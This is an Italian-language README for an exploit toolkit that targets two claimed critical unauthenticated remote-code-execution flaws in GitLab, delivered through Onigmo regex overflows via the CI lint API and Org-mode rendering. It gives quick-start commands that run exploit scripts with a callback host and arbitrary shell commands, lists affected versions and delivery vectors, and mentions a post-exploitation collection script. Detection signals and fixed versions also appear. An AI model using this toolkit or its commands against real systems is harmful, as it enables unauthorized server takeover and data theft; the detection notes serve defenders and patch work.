GitLab Onigmo RCE Exploit Toolkit

CVE-2026-97229 + CVE-2026-110264 — Due vulnerabilità RCE critiche (CVSS 10.0) non autenticate in GitLab CE/EE tramite integer overflow del motore regex Onigmo.

Solo test autorizzati. Ogni target deve essere di tua proprietà o coperto da autorizzazione scritta.

Vulnerabilità

CVE	Vettore	Affette	Trigger	Auth Richiesta
CVE-2026-97229	Compilatore regex CI/CD	19.2.0–19.4.1	GET /api/v4/projects/:id/ci/lint	Trigger non autenticato (accesso in scrittura per il setup)
CVE-2026-110264	Rendering .org di Org-mode	7.0–19.5.0	Rendering di un file .org appositamente craftato	Nessun account necessario

Architettura

Entrambe le CVE sfruttano la stessa causa radice: integer overflow del motore regex Onigmo → scrittura OOB → hijack della VM → system(). La differenza è il percorso di delivery:

• CVE-2026-97229: regex malevola in .gitlab-ci.yml rules:exists:regexp → API di lint CI
• CVE-2026-110264: keyword #+TODO: malevola in un file .org → renderer Org-mode

Avvio Rapido

# CVE-2026-97229 — CI lint path
python3 exploit/cve97229.py --url http://target:8080 \
    --token glpat-xxx --callback-host YOUR_IP \
    --command 'id; hostname' --authorized --scope scope.txt

# CVE-2026-110264 — Org-mode path (no auth needed!)
python3 exploit/cve110264.py --url http://target:8080 \
    --callback-host YOUR_IP --command 'id'

# Probe only (no exploitation)
python3 exploit/cve97229.py --url http://target --probe-only
python3 exploit/cve110264.py --url http://target --probe-only

Struttura del Progetto

exploit/
├── cve97229.py       # CI lint regex RCE (CVE-2026-97229)
├── cve110264.py      # Org-mode render RCE (CVE-2026-110264)
├── layout.py         # libruby.so offset derivation
├── common.py         # shared Onigmo payload + callback server
└── post/
    └── collect.sh    # post-exploitation collection
lab/
├── run.sh            # Docker lab launcher
└── stop.sh           # Lab cleanup
docs/
├── CVE-2026-97229.md # Technical analysis
└── CVE-2026-110264.md # Technical analysis

Rilevamento

Triplo segnale per entrambe le CVE:

1. Crash del worker Puma: [BUG] Segmentation fault con frame org-ruby o regexp_matcher.rb
2. Workhorse 502: badgateway: failed to receive response: EOF
3. Contenuto Git: quantificatori suddivisi (?#), ripetizioni [[:word:]], percorsi UTF-8 a 4 byte

Versioni Corrette

CVE	Corretta
CVE-2026-97229	19.2.8, 19.3.5, 19.4.2
CVE-2026-110264	18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, 19.5.1

Crediti

• joaxcar — scoperta originale di CVE-2026-97229 (HackerOne)
• Rapid7 (Jonah Burgess) — analisi tecnica e PoC indipendente di CVE-2026-97229
• gandli — riferimento al framework di laboratorio per CVE-2026-97229
• GitLab Security — regole di rilevamento e advisory
• Tecnica di sfruttamento di CVE-2026-110264 derivata dalle note di rilevamento pubblicate da GitLab

Licenza

MIT — solo per test di sicurezza autorizzati.